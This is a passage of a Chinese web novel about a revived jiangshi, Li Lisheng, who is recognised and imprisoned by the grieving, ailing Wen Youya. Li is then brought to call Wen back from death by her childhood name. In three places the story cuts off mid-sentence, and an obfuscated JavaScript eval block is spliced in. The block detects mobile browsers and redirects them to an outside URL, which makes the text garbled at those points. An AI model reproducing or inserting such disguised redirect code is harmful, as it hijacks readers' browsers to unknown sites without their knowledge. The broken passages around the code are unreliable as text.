因为城门口的排查非常严格,所以来往的人都排成了长队,闻釉崖与形形色色的人擦身而过,最后她的视线余光瞥见了不远处一道有些茫然的身影。 闻釉崖瞳孔骤缩,脚步立刻停在了原地。 那个人穿着粗布的衣衫,身上还有一些尘土。 但这些狼狈都无法让她的容颜有丝毫褪色,反而衬托得她肌肤如玉,眉眼似画。 尤其那双眼睛,似有温润的湖水微漾,她看着谁都是这副温柔包容的模样,心思稍微单纯一些的人就会被她这副样子骗了,其实这人是个黑心肝的,最擅长哄人心甘情愿地为她赴死。 闻釉崖看着远处那道熟悉的身影,眼神随着心口的疼痛愈发木然。 自己又瞧见她了。 这次倒是与梦中不同,她没有哭,也不是那副骸骨的模样。 眼前的那道身影是幻觉吗?自己还没有睡醒?又或是……那个人从山上下来的亡魂? 闻釉崖在不知不觉间将自己的呼吸声压得极轻,好似怕一丁点动静都可能会惊扰到亡魂。 忽然,一道马车疾驰而过。 闻釉崖的视线被遮挡了一瞬,她心脏漏跳了一拍,下意识往前走了两步,马车走后,那道似是亡魂的身影也转身离去,就好似当年她果断地抛下自己一样。 落下的阳光让她的背影有些朦胧,仿佛正在逐渐消失。 闻釉崖的心中升起了一丝莫名的惶恐,她本能般追了上去,但在碰触到对方的前一瞬闻釉崖就后悔了,她怕这如同镜花水月的身影就会触之即碎。 但闻釉崖没想到,自己竟然真的抓住了对方冰冷的手腕。 她用了很大的力气,那人不小心摔到了自己怀里,闻釉崖下意识护住了她,时隔七年,那熟悉的气息再次萦绕在她身旁。 然而这具身体和那夜雨中自己抱起的尸体一样冷,恍惚间,闻釉崖开始怀疑自己是不是真的疯了。 “唔……” 黎栎笙站稳后立刻小心戒备地看向拽住自己的女人。 然而只一眼,她就微微愣住了。 无论是对方那让她感觉到熟悉的眉眼,还是她眼中含泪的哀恸,都让黎栎笙心中泛起了一股酸涩。 那女人抬起颤抖的手轻抚在她的面庞上,一遍又一遍地摩挲着,对于黎栎笙来说,只要是活人的手,那对她来说都是温暖的,这女人掌心的温度让她感觉眷恋。 “黎……栎笙?”女人没什么血色的唇轻启,准确无误的说出了她的名字。 怎么刚下山就暴露了! 黎栎笙心虚地想将手往后缩,“咳,你……是谁?是不是认错人了?” 她想找个理由糊弄过去,结果一开口就发现自己面前这个女人的神情骤然破碎,眼眶微微泛红,就好像被所有人抛弃了一样,看起来可怜极了。 “你又不要我了吗?”哪怕变成了鬼,黎栎笙也要和自己划清距离?闻釉崖本就单薄的身体微微颤抖,可能是因为情绪起伏过大,她忽然开始咳嗽起来,黎栎笙眼尖地发现她的指缝间似乎有红色的痕迹。 原来是一位脆弱的病美人,黎栎笙不敢再将自己刚刚编好的借口说下去了,只怕一不小心又刺激到了她。 以前的自己和她究竟是什么关系? 黎栎笙看了一眼自己的手腕,这位病美人依然紧紧攥着自己,但她感觉自己是可以挣脱开的,眼下是离开的最好时机。 可是…… 黎栎笙无论如何也迈不开离去的脚步,她甚至做了一个让她自己都有些费解的举动。 黎栎笙用另一只没有被束缚的手搂抱住这个陌生的女人,然后一下又一下轻轻拍着她的背,帮她顺气。 怀中之人在咳嗽中夹杂着的啜泣声让黎栎笙 “姐姐,你回来了对吗?”她带着哭腔的一声姐姐能让铁石心肠的人都软下心。 更何况黎栎笙还不是铁石心肠的人。 她轻抚着对方的背,刚想安慰一句别哭了的时候,怀中的人又忽然自问自答道:“我知道,你已经死了,不会再回来。” 说这句话的时候,她语气中的哭腔减少,多了一丝哀莫大于心死的空洞与带着危险的阴鸷。 “都是假的,你真心狠啊。” 死了的人怎么可能活过来呢,当年她的尸体是自己亲自收敛的,如今在自己面前的只可能是假货。 她多希望是真的。 黎栎笙心中一惊,闻釉崖骤然阴冷的气息让她感觉到了危险,她立刻松开对方往后退了一步,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168990|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎栎笙的手腕还在闻釉崖手中,对方只是一个用力就又将她拽至身前。 对方又一次抚上了她的脸,只不过这次的动作不似之前那样轻柔,而是有些用力的摩挲过她的耳后以及脖颈处,好似在查找什么。 “竟然不是易容,还是说你直接换了脸皮?” 她刚刚那副小可怜的模样荡然无存,温柔与疯魔在刹那间交换,从某种程度上来说,她看起来比黎栎笙更像鬼。 闻釉崖一把掐住她的脖颈,仿佛只要她稍稍用力,这脆弱的脖子就能在她手中折断。 “说!你是谁派来的?”她的眼眸中满是憎恶与杀意。 黎栎笙死后,自己接手了她在外面的势力,那时候总有些人试图将和黎栎笙有几分相似的人送到自己身边,或是讨好,或是安插眼线。 闻釉崖恨她,但更厌恶有人在黎栎笙死了之后还要利用她最后的价值! 愤怒与厌恶让她没有注意到自己掐住的脖颈有些许异样。 “你误会了。” 黎栎笙只觉得脖子疼得厉害,她苦中作乐地想还好自己现在是僵尸了,不会有窒息的感觉。 看到她的眼眸中流露出痛苦的神色,闻釉崖怔愣了一下,哪怕心底将对方认定为赝品,可面对与她一模一样的脸时,闻釉崖发现自己竟然会心软。 这么多年过去了,自己还是没能走出那个狠心的女人设计的圈套,闻釉崖有些自嘲,然后神色变得更加可怕。 “让你来的人没有说吗?想要利用这张脸的,会被我剥了皮。”闻釉崖阴沉的言语间仿佛带着血腥,黎栎笙微颤了一下,她感觉对方是认真的。 她一时间不知道是被剥了皮更惨,还是被当成僵尸烧死更惨。 这样下去可不行,要是被这个人抓住,说不定上面这两个选项说不定都会招呼到自己身上! “剥皮?”黎栎笙不退反进,被那样熟悉的面容贴近,闻釉崖的呼吸也不由得一滞。 “你掐住了我的脖子,难道就没有什么感觉吗?”黎栎笙抚上掐住自己脖颈的手,“你好好感受一下,这里在跳动吗?” 闻釉崖的脸色瞬间更白了,她的手不由得颤抖起来。 她的颈部没有脉象。 “我已经死了,死的时候好惨好疼啊,你要带我走吗?”黎栎笙不知道身为僵尸的自己能不能哭的出来,她努力做出一副要哭不哭的凄惨模样,再配上她没有活人气的脸,还真的有点儿像徘徊世间的亡魂。 正常人发现自己抓着一个鬼,就算不瘫在地上,也应该连滚带爬地跑了,比如说掘她坟的那几个人。 她想将闻釉崖吓住,但这人的反应和她想象的有些不太一样,闻釉崖的眼眸中有惊愕有茫然,那就是没有她想要的恐惧。 但她的手确实松了力气,黎栎笙趁这个机会挣脱开,然后一把推开了对方转身就跑。 黎栎笙注意到闻釉崖被自己推的摔倒在地上,她心中略过一丝不忍,但刚刚对方的疯狂还有扒皮言论给黎栎笙留下了不小的心理阴影,她咬咬牙没有停下脚步。 “黎栎笙!” 她的身后传来凄厉悲凉的喊声,那声音中的绝望让黎栎笙下意识回头看了一眼,只见那人伏在地上咳血不止,但即使如此,她依然向自己伸出了手,就好像绝境中的人想要抓住最后一根救命稻草似的。 不知为何,黎栎笙心中有一种说不出来的悲伤。 而就在这瞬息,几道黑影忽然从天而降,一人扶起了闻釉崖,剩下几个人将黎栎笙团团围住。 所有逃跑的方向都被堵死,黎栎笙在心中哀叹一声,不该心软的,这下僵尸的身份恐怕瞒不住啦。 5. 赝品 黎栎笙被那个疑似认识自己的陌生女人拽回家关进了柴房,柴房的门被关上的瞬间,黎栎笙听到了外面惊恐的声音。 “家主!快!喊府医过来!” 她下意识看向紧闭的柴房房门,心中升起了一丝担忧,那个人还好吗? 看那个女人病恹恹的样子,也不知道生了什么病,自己刚刚装鬼吓她,不、准确来说是暴露真实身份吓她,不会真把她吓出什么问题吧? 虽然她的某些行为有些疯癫,还想要把自己的脸皮剥下来,但黎栎笙心底里并不想她出事。 被扔到柴房角落里的黎栎笙抱膝而坐,刚刚她想多看那个女人一眼都被她凶巴巴的下属瞪回来了,不过他们的凶神恶煞看起来更有一种色厉内荏的感觉,就像在防什么恶鬼。 好吧,那个恶鬼应该就是自己。 黎栎笙轻叹了一口气,“她那里好歹还有大夫呢……” 不如多担心担心自己吧,自己才是人家的阶下囚,如果那个姑娘出了什么事,她的手下肯定不会放过自己这个罪魁祸首,如果那个姑娘没出事,以她刚刚的疯狂模样,说不定自己还要经历一场难熬的审讯。 柴房里很昏暗,到处都蒙着厚厚的灰尘,这里只有一扇门和一处开在高处的窗。 以黎栎笙的身高,她也要踩到旁边那个三条腿的坏凳子上才能探出头。 如今柴房的门和窗户都是紧闭着的,几乎没什么光亮透进来。 柴房里还有几捆柴火,黎栎笙将那些木柴往旁边推了推,给自己空出一个方便靠着那些柴火的位置。 说来也奇怪,在那山洞里藏着的时候,明明非常安全,自己却总有一种惶惶不安的感觉,现在被人抓到了这个柴房里,她却渐渐安定下来。 刚才被抓进来的时候有些慌慌张张,她没有仔细观察这个府宅的环境,现在仔细回忆起来,这一路上的布置也给她一种熟悉的感觉。 那个喜怒无常的女人应该也认识自己,而且一定和曾经的自己颇有渊源,说不定也是个机会呢,只希望是好的渊源,可千万别是孽缘啊。 黎栎笙回想起那个女人凄厉的呼喊,只觉得心脏略有些难受。 她闭上眼,那人熟悉的眉眼浮现在黎栎笙的脑海中,那双眼睛不应该是这幅凄苦黯淡的模样,她本应该是…… “嘶……”在黎栎笙脑海中的迷雾稍有散开的趋势时,突如其来的剧痛又打断了她的回忆。 她抱着脑袋,疼得蜷缩在柴堆间。 …… 乌宵月在那山上找了一个晚上,可惜一无所获,直到白天的时候,她手底下的人才发现了山崖下面的盗墓贼。 他们的身上还带着盗墓的工具,那天晚上应该没有第二伙人会在大暴雨天爬到山上挖墓,但奇怪的是那三个盗墓贼的身上没有一件陪葬品。 乌宵月觉得这件事情透着古怪,黎相下葬的时候棺材里有许多金银玉器,既然盗墓贼都已经把她的棺材掀开了,又怎么可能一件东西都不拿?这显然不符合常理,而且棺材里面的陪葬品也确实全都消失了。 乌宵月站在那三个盗墓贼的尸体旁观察了一会,然后抬头看向旁边很陡的山坡。 那天晚上雨下得很大,山间的泥土非常湿滑,这三个盗墓贼可能没有看清路,所以全都脚滑摔下来摔死了。 是什么情况让他们如此慌张呢?陪葬品又去了哪里,黎相的尸身又在何处…… “大人,您看这里。”验尸的仵作一脸凝重的请乌宵月看其中一具尸体的脖子。 “这是……”乌宵月蹲下来仔细看了看,因为这处陡坡上多有石头和草木,这三个盗墓贼摔下来的尸体也颇为凄惨,到处都是伤痕,仵作指给她看的正是一个盗墓贼脖子上血淋淋的伤口。 乌宵月凝神细看后神情陡然凌厉起来,“这是撕咬的伤口?” “是,而且从齿痕来看像是带有尖牙的人咬的,另外两具尸体的脖子上也有,属下初步断定这三人在摔死之前就已经遭遇了不测。”仵作的神色颇有些为难,似乎还有话想说。 “你还有什么猜测?一并说了。”乌宵月的脸色有些难看,这三个盗墓贼难道遭遇了螳螂捕蝉,黄雀在后的事情? 这还真的不是一起普通的盗墓案吗。 “属下……有些怪力乱神的猜测,属下家中世代都是仵作,从先祖到我都见过无数具尸体,其中也难免遇到过一些不正常的尸体,在先祖留下来的笔记中曾提到过有尸死而不腐,口生獠牙,于阴气极盛之夜复苏,是为僵尸。” “僵尸诞生之后需吸人血,食人肉,一旦开了杀戒,就会为祸一方,这伤口……和属下先祖在笔记中记载的一模一样!”仵作的手微微颤抖,干这一行的,难免听过一些传说与忌讳,只是不知道这位昭武卫副指挥使愿不愿意相信。 树林中刮起阵阵阴风,像是在回应仵作说的话。 “荒谬,你难道想说是这三个盗墓贼挖开了黎相的墓,惊了她的尸,然后黎相变成僵尸从墓里跳出来咬死了他们三个,还把他们伪装成失足坠崖的样子,然后又带着自己的陪葬品藏起来了吗?”乌宵月将这些话说出来都觉得荒唐,“继续查,其中肯定有人想要故弄玄虚。” “要是把你刚刚的话呈给陛下,你就等着看陛下是会相信你,还是会让你回家种地去。” “是。”仵作擦了擦额头上的汗,乌大人说的也有道理,在先祖的记载中刚刚苏醒的僵尸没有太高的智慧,应该做不了那么多事情。 乌宵月将现场勘察过之后就有命人将盗墓贼的尸体抬下山,至于黎相的尸身……她也尽力去找了,这座山上所有的猛兽全都遭了殃,家都被掀了个底朝天,可是乌宵月连一块衣服碎片都没找到。 就算那些猛兽饿极了把人的尸骨啃了,也不可能把衣服鞋子吃干净,但是整座山上都没有一丁点痕迹。 事情越发诡异起来,乌宵月只能先下了山。 她虽然呵斥了仵作,但这一路上,对方的话却总是在她脑海中浮现。 僵尸…… 太荒唐了。 乌宵月更倾向于那天晚上来到山上的有两拨人,第一波人就是那三个盗墓贼,他们打开了黎相的墓,盗走了里面的陪葬品。 当他们离开的时候遇上了第二波人,那些人抢他们的金银珠宝后杀他们,并伪装成失足摔死的样子,而后他们还因为某些原因盗走了黎相的尸骨。 人的尸体还能有什么价值呢?难不成是泄愤? 黎相生前可得罪过不少人,想将她挫骨扬灰的应该不在少数。 如果真是这样就麻烦了,无论是闻釉崖还是陛下,这个事情都不会善了的。 乌宵月回去的路上还在考虑自己该如何委婉地向闻釉崖提出自己的猜测,毕竟她的身体已经变成那个样子了,哪里还能承受噩耗。 她神色凝重地回到闻府,却没想到自己还没来得及说坏消息,噩耗就先一步来到她的面前。 府邸中并不太平,乌宵月甚至隐隐听到了哭声,她立刻赶往主屋,随后看见门口站了许多人,一个个都低着头满脸凝重肃穆。 “闻釉崖怎么了?”乌宵月快步走上前询问。 “家主她今天出门的时候遇到了一些事情,受到了不小的刺激,引发了七年前的暗疾,府医正在医治,但……府医说情况恐怕不大好了。”郑筱在说最后一句话的时候几乎哭了出来。 这位府医是江湖上赫赫有名的一位医者,因为欠了闻釉崖一个人情才留下来的,她说情况不大好,那就是真的非常危急。 乌宵月知道事情严重了,但此时她也帮不上什么忙,只能在心里祈祷大夫能把她救回来。 她进去看了一眼,大夫正在全力医治,屋子里飘着淡淡的血腥味,昏迷中的人脸色惨白,额头上冷汗涔涔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168991|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的气息越发微弱,乌宵月还能听见她含糊地呢喃着什么,仔细辨别才发现对方似乎说的是:“姐姐。” 能被她称为姐姐的也只有黎相。 乌宵月露出了有些怜悯的目光。 “情况如何?”乌宵月在大夫身边轻声询问。 “原本她的旧伤没有大碍,我已经为她调养得差不多了,但您也知道,她真正的问题是在心上,这几天接连受到刺激,心神俱损,进而引发了旧伤,两件事情加在一起才是最要命的。”大夫叹了口气,诉说自己的无奈。 “心气儿没了,就算医者有和阎王抢人的本事,也留不住人呐,这关能不能熬过去,得看她自己想不想活。” 乌宵月只觉得额头一抽一抽的疼,让闻釉崖有求生的意志?这么多年过去了,她还是这个样子,除非黎相复活,不然她实在不知该如何破局。 陛下和那些老鼠的较量还没有开始,就要先折损一大助力吗? 也不知道是谁在这个时候非要来招惹闻釉崖,乌宵月心中憋了口气,她悄悄离开房间,准备写信给陛下说明此地的情况。 同时她心里这口气肯定要发在招惹闻釉崖的人身上,当初黎相死前,陛下答应过她会照顾闻釉崖,如今恩师的墓被挖,要是连闻釉崖也出了事,那帝王之怒恐怕就无法平息了。 “到底出了什么事?我出门的时候她的情况分明还没有那么严重。”乌宵月从屋中出来后冷声问站在门口那几个人。 提到这个问题,场面瞬间安静下来,其他几个人面面相觑不知如何开口,最后是郑筱愤愤道:“今天家主出门的时候没让我们跟着,谁曾经就是今天,她出门的时候遇到了一个赝品!” 虽然那个人看起来和黎相七年前长得一模一样,一眼瞅过去格外吓人,但因为这些年有不少人找了形形色色的替身想往闻釉崖身边塞,所以几乎所有人都认为这又是赝品。 只不过这次的赝品太像了。 “赝品?又是与黎相相似的人?”乌宵月冷哼了一声,她本就瞧不上这些下作手段,况且又是在这个节骨眼上出现的可疑人物,她觉得或许是一个突破口。 “是。” “她在哪里?带我去看看。”乌宵月决定亲自审问对方。 郑筱立刻将她引至柴房,乌宵月推开柴房的大门,光线渗透进昏暗的屋子,落在蜷缩在柴火中的人身上。 黎栎笙从头疼中缓了过来,她抬眼瞥向门口那人,因为之前头疼的影响,她的神情中可能带了一些不耐。 乌宵月刚准备踏进柴房的脚忽然收了回来,她像是看到了什么不可思议的东西,原本带着锋芒的眼眸微微抽动,哪怕是她,此时此刻也露出了惊悚的神色。 里头那个穿着粗布衣的女子站了起来,明明灭灭的光斑落到她的身上,虚幻得让人怀疑她是否只是一道不存在于世的影子。 那道影子往前走了几步,当她的眉眼彻底暴露在阳光下时,乌宵月颤抖着唇往后退了两步。 黎栎笙的脚步微微一顿,似乎对乌宵月的恐惧有些不解。 就算真的遇到了僵尸,乌宵月也能面不改色地将它的四肢全部剁下,但前提是那个僵尸不是可怕的黎相。 “她还好吗?”黎栎笙只是想关心一下那个被她恐吓的姑娘有没有个好歹。 “不好。”乌宵月下意识老实摇头。 黎栎笙微微蹙眉,明明她才是阶下囚,而且还是一副苍白瘦弱没有人气的样子,乌宵月的气势却弱了下来。 乌宵月控制住自己还在往后退一步的腿,心中勉强将惊骇的情绪压制下来。 这是赝品吗?不知道的还以为是黎相从棺材里爬出来了! 到底是谁弄出了这么一个完美无瑕的赝品,等等、完美无瑕…… 乌宵月看向闻釉崖所在的主屋,心中忽然有了一个也不知能不能奏效的主意。 6. 替身 乌宵月暗叹如果这次来的不是自己,而是那几个有八百个心眼子的人就好,或许能有更好的办法。 如今没有能商量的人,她也不知道自己打算做的事情是对是错。 但闻釉崖都已经那个样子了,什么都不做单纯耗下去恐怕也是个死,既然如此,还不如尝试一下。 乌宵月做好心理准备后再看向黎栎笙,她努力压下心底发毛的感觉道:“你……叫什么名字?是谁派你来的?” 无论是死者死而复生还是变成了僵尸,至少在她看来都挺荒谬,乌宵月知道江湖上有不少邪术,比如说割脸换皮、溶制全身等等,别说一张脸了,就算是全身上下的皮都能调整,若是某些人有心为之,七年的时间足够他们弄出一具完美的赝品。 “……”黎栎笙张了张嘴,一时间语塞。 她们一个两个似乎都在怀疑自己背后有人,可是自己真的是一个刚刚从墓里爬出来的无辜僵尸。 而自己的名字……如果她说自己叫黎栎笙,会不会被眼前这个女人视作挑衅? 黎栎笙看了一眼对方紧握在剑柄上的手,想了想还是算了,那位好心的系统给自己寻来了一个复活的机会很不容易,她还是不要轻易挑衅别人了。 就在黎栎笙迟疑着要不要给自己取一个新名字的时候,乌宵月的耐心耗尽了,她的宝贵时间不是用在等黎栎笙想办法糊弄自己的事情上的。 “罢了,你要是不愿意说也无妨,你的名字也不重要,重要的是你知道自己犯了什么罪吗?”乌宵月沉声问。 黎栎笙的神色闪烁了一下,是指她吓到那个姑娘的事情吗?唯独这件事情让黎栎笙没办法否认,她支支吾吾地“嗯”了一声。 乌宵月愣了一下,她们两个之间产生了一点小小的误会,乌宵月以为黎栎笙认下了她是被人派过来图谋不轨的,所以还有些惊讶她竟然如此干脆利落。 “你知道就好,也省的我浪费口舌,你谋害的那位是被当今陛下视为亲妹的人,她如果身死,你就不只是被砍头那么简单了。” 死…… 黎栎笙的眼底划过一抹怔愣,竟然严重到这种程度吗? 乌宵月没管她的反应继续道:“本来,在查明指使你的那些人后我会将你们全部押送至京城,不出意外的话,陛下会亲自过问这件事情,到那时候就再也没有回旋的余地。” “轻则腰斩,重则凌迟。”乌宵月并不是在恐吓她,而是在阐述事实。 黎栎笙的眼底是有忧虑之色,只不过她的忧虑不是为了乌宵月口中的刑罚,她的目光飘向屋外某个地方,似乎还有些走神。 “但你还有一个将功补过的机会,如果不想死的话你就跟我过来,按照我说的做。”乌宵月转过身往前走,她没给黎栎笙拒绝的机会,这事由不得身后那个赝品决定。 黎栎笙跟上了乌宵月,她垂眸迟疑了好一会后才道:“我过去就能救她吗?” 乌宵月沉默了良久,“我不知道,你多向神仙菩萨祈祷吧,她活着,你才有机会活下去。” 乌宵月领着黎栎笙来到主屋,一路上她都在防备黎栎笙有逃跑的举动,幸好此人还挺识时务,乖巧的很。 不过守在门口的那些人一看到她身后的黎栎笙,立刻惊得摆出了防备的架势。 “好了,都把刀剑放下。”乌宵月环视一圈,让那些剑拔弩张的人都把自己的武器放下来。 黎栎笙的模样太诡异了,在场有一半的人都见过七年前的黎相,无论她是鬼还是赝品,闻釉崖的下属们都不是很想让她接近家主。 “乌大人,您这是?”郑筱的嗓音里都带着一些颤抖,刚刚黎栎笙看了她一眼,郑筱的腿都有些软了。 “带她过来喊魂。”乌宵月留下了一句莫名其妙的话后就带着黎栎笙进入了主屋。 “喊魂?等等乌大人,这个人来路不明,家主的病情本来就不好了,怎么能……”郑筱赶忙想要上前阻止,不过她身边的一个人忽然拦住了她。 “许洢?你怎么也拦我。”郑筱的武功远不如这位暗卫头子,许洢的手往她肩膀上一放,她就没办法继续往前了。 “乌大人说了,要去为家主喊魂。”许洢沉声道。 许洢是跟在闻釉崖身边最久的人,郑筱一直觉得她是整个宅子里最稳重靠谱的,但现在怎么也和乌大人一起说一些莫名其妙的话? “喊什么魂?家主是旧伤发作,又不是受了惊失了魂……”在民间确实有所谓的喊魂仪式,比如说小儿在外面玩耍的时候不小心看到了脏东西或是受了惊,回来之后高烧不退说着胡话,老一辈的人就会说这孩子在外面丢了魂,需要大人们在外面把孩子的魂喊回来。 但郑筱实在不明白眼下这种情况和喊魂有什么关系。 许洢跟着她们一起走了进去,进去之前她回头看向郑筱,“你若想进来就不要说话,要么就继续在门口等着。” 郑筱担心自家家主安危,最后还是闭上嘴跟着进了房间。 大夫看着走进来的四个人微微摇头叹气道:“我已经尽力了,可惜……她的生机渐弱,留不住。” 郑筱眼眶一红差点哭出来,她死死咬着牙才没有发出声音。 “那如果她有了求生的意志,是不是就有生机了?”乌宵月问大夫。 “那是自然,只是可惜她这样子也不是一天两天了,如果能有办法,我早就给她治好了。”大夫又叹了口气,她取下扎在闻釉崖身上的银针,似乎有一种打算放弃的态度。 “既然如此,你过来,到床边喊她的名字,闻釉崖。”乌宵月对身后的黎栎笙道。 大夫颇有些惊讶地看向黎栎笙,这一眼让她的神色瞬间变了,大夫不认识黎栎笙,她入府的时候逆王之乱已经平息了数月,所以没有见过传说中的黎相。 但是医道讲究望闻问切,第一个就是望,她观黎栎笙脸无血色,胸口没有起伏,若说躺在床上的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168992|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生机微弱,那自己眼前这个还能走动的就像是一个死人! 活人怎么可能是这个样子?大夫惊骇不已,下意识往后退了几步,正好将位置让给了黎栎笙。 黎栎笙没有注意到大夫的目光,此时此刻她全部的注意力都落在了床上那气息微弱的人身上。 不会跳动的心脏泛起微弱痛意,她坐在了床边,仔细观察着闻釉崖的模样。 她没有之前苏醒时的哀恸与疯狂,眼睛闭上之后,那些戾气随之融化,闻釉崖有着一双很容易招人怜惜的眼睛,看着就很乖巧,当她虚弱地躺在这里时,那种感觉又被放大。 黎栎笙几乎下意识抬手想要抚上她的脸,帮她擦一擦额头上的冷汗,不过旁边传来了一道轻咳声,她就只能收回手。 “丞相在时,私下大多唤家主小名月牙儿。”对那两位的纠葛更清楚的许洢道。 丞相呼唤家主小名时,是那尾调总带着些许不知何处的乡音,听起来颇有一种甜软宠溺的感觉,许洢学不来那个腔调。 她也不知道究竟是何方神圣弄出来的一个和丞相长得一模一样的赝品,甚至就连声音都一模一样,可惜自己没办法教会对方那种唤法,不然绝对能够以假乱真。 无论家主口中说着多憎恨丞相,如今能救她的也只有丞相。 “月牙儿。”黎栎笙在口中轻声呢喃了一遍。 不,这样念这三个字似乎有些不顺,黎栎笙按照乌宵月的要求一遍又一遍唤着闻釉崖的小名,渐渐的,她的口音发生了略微的调整。 在最后的那声呼唤中,她的尾调里带一丝缱绻的意味。 原本还一脸沉色的许洢骤然带上了惊愕的神色,她看向黎栎笙,似乎不敢相信自己听到的。 闻釉崖的指节微动。 大夫压下了心底那疑似见到死人走动的惊悚,她将对方的情况归结于江湖上的秘术,有些人为了获得更强的力量把自己弄成人不人,鬼不鬼的样子,或许眼前这个人也是一种呢。 她让自己的视线努力回到病人的身上,然后就发现了堪称奇迹的一幕。 “快!继续喊!”大夫大喜过望,没想到乌宵月还真的给自己寻来了一味“神药”! 黎栎笙看到她指尖微动,于是轻轻握住了她的手。 乌宵月迟疑了一瞬,这次却没再阻止。 “月牙儿,醒一醒。” 昏昏沉沉间,闻釉崖感觉自己好似听到了那声熟悉的呼唤,无论多么憎恨那个人,可再次听到她的声音,自己竟还有想要再看她一眼的渴望。 闻釉崖和月牙这两个名字都是那个人起的,她身上的一切都烙印下黎栎笙的痕迹,想要剥离一点,都需要和血肉一起割下,所以哪怕痛彻心扉,她也无法彻底割舍下那个人。 她想要睁开眼睛,可是眼皮太过沉重,她尽力了,却没能睁开。 你回来了吗? 还是说我要死了,你才愿意来见我一眼? 7. 被咬 “真是奇迹。”大夫季沅绫抓住机会又为闻釉崖施了一轮针,病人的脉象不再像刚刚那样虚无缥缈,算是暂时保住了命。 那三个字竟然有如此功效吗,唉……闻釉崖也是个苦命人。 季沅绫回头看向同样松口气的乌宵月道:“她的生机暂时稳住了,多亏了您,您是从哪里找到了这个……” 季沅绫的视线挪到黎栎笙身上,她本来差点脱口而出“死人”二字,但是当着人家的面说多不礼貌?于是她斟酌着换了一个词。 “您从哪里找了这么个宝贝?” “宝贝?”乌宵月扯动了一下嘴角,她看着床榻边那两个人交握的手,语气并不算多好地道:“但愿不是什么祸害才好。” 闻釉崖或许能被暂时救回来,但是等她醒了之后呢?乌宵月觉得十分头疼。 大夫有些不明白,这位姑娘帮了那么大的忙,怎么能说人家是祸害?唯一不清楚内情的季沅绫本想为黎栎笙说两句好话,但是另外三个人的表情过于微妙,她想了想还是没问出口。 “家主的病情虽然暂时稳定下来了,但是什么时候能醒还是个未知数,这些天就让这位姑娘多在家主身边喊喊她的小名吧。”季沅绫道。 “那就每日将她送来这里一段时间。”乌宵月在袖子中摸索了一下,随后拿出了一个不起眼的小瓷瓶。 “走吧,你的命也暂时保住了,之后我让人给你送些吃的。”乌宵月催促黎栎笙可以离开了。 现在的闻釉崖没有丝毫自保能力,在没有人盯着的情况下,她可不敢让这个疑点重重的人和病人单独相处。 “好。” 黎栎笙知道自己该走了,她准备收回自己的手,而昏迷中的人似有所感,指尖竟然微微用了一些力道,似乎想要留下身边的人。 可惜黎栎笙的身后有三个人虎视眈眈,她也只能松开闻釉崖的手。 黎栎笙起身走出门的刹那,有一滴晶莹的泪珠从昏迷之人的眼角落入她的鬓间。 乌宵月前脚刚踏出房门,后脚就有一个身穿暗枢司官服的人急匆匆地来到她的身边,然后在她耳边低语了几句。 黎栎笙的听觉很好,虽然那两位可以压低了声音,但她还是听到了什么僵尸、咬死百姓之类的词语。 僵尸咬死人了?难不成这个城里还有她的同类? 乌宵月脸色微变,她瞧了一眼黎栎笙,然后摆了摆手让下属先退下,表示自己一会儿就出去。 本来她想抽空审问一下这个来路不明的赝品,但现在有更麻烦的事情出现了。 “在闻釉崖醒过来之前,我每天都会派人接你过去陪她,但是为了她的安全着想,我需要将这个东西放到你身上。”乌宵月将手中的瓷瓶拿了出来,她打开瓷瓶的木塞,一个和芝麻差不多大小的小虫子从瓶子里飞了出来,并径直钻进了黎栎笙的手臂中。 “这是一种蛊,你放心,只要你不动什么歪心思,这个蛊就不会对你产生任何影响。” 蛊…… 黎栎笙的脑海中忽然浮现出一段对于这种蛊的认知。 牵心蛊,以少量活人的气血为食,不发作时对人的身体没有影响,发作起来就会穿肠烂心,但这种蛊有些娇气,它真的能在自己这个死人的身体里活下来吗? “我不会伤害她的。”黎栎笙明白乌宵月的顾虑,同样也明白大概没有人会相信自己的话。 在暗枢司任职那么久,乌宵月早就明白敌人的言语是最不可信的东西,她没说什么,只是将人重新关进了柴房里,同时让这边的人记得给柴房送饭,省的这个暂时能救闻釉崖性命的赝品饿死了。 看在她能救家主的份上,厨房那边没有在饮食上苛刻黎栎笙,送来的餐食是一荤一素,再搭配一碗米饭。 但黎栎笙不是活人,她感觉不到饥饿,也不知道自己能不能吃活人的饭,谨慎起见她先尝了一片菜叶子,结果不但什么味道都没有尝出来,还差点把胆汁吐了出来。 好吧,看来自己不能碰活人的食物。 黎栎笙重新缩回角落里,她被关在柴房没有什么事情做,现在更是发现连饭都吃不了,所以大部分时候都在看着自己手臂上的红点发呆。 她会想那屋中的月牙儿,虽然对方之前掐自己的脖子,还威胁她说要把自己的皮扒了,但她感觉那个人有些可怜。 